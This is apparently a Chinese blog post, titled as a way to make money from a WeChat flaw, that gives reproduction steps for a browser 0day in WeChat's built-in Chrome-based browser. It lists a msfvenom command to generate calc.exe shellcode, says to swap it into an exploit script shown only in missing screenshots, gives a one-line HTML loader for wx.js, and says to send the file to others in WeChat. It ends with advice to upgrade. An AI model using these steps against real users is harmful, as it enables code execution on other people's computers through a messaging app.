微信漏洞赚钱方法(教你利用平台漏洞快速赚钱)

这个漏洞其实就是我前几天在微头条上发的chome 0day息息相关。微信内置浏览器就是chome的内核,并且默认打开了沙盒模式。简单来复现一下:

一、生成运行计算器的shellcode

kali下:msfvenom -f csharp -a x86 –platform windows -o calc.csharp -p windows/exec CMD=calc.exe

微信漏洞赚钱方法(教你利用平台漏洞快速赚钱)

二、替换exp里的shellcode,图中有js地址

微信漏洞赚钱方法(教你利用平台漏洞快速赚钱)

三、创建一个 html 文件调用 js

<script src="wx.js"></script> test

四、微信里发给别人就可以了

测试截图

微信漏洞赚钱方法(教你利用平台漏洞快速赚钱)

微信漏洞赚钱方法(教你利用平台漏洞快速赚钱)

请尽快升级。好像是微信已经强制更新了,但在win10应用商店的wechat没有强制更新。

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫

相关推荐

发表评论

登录后才能评论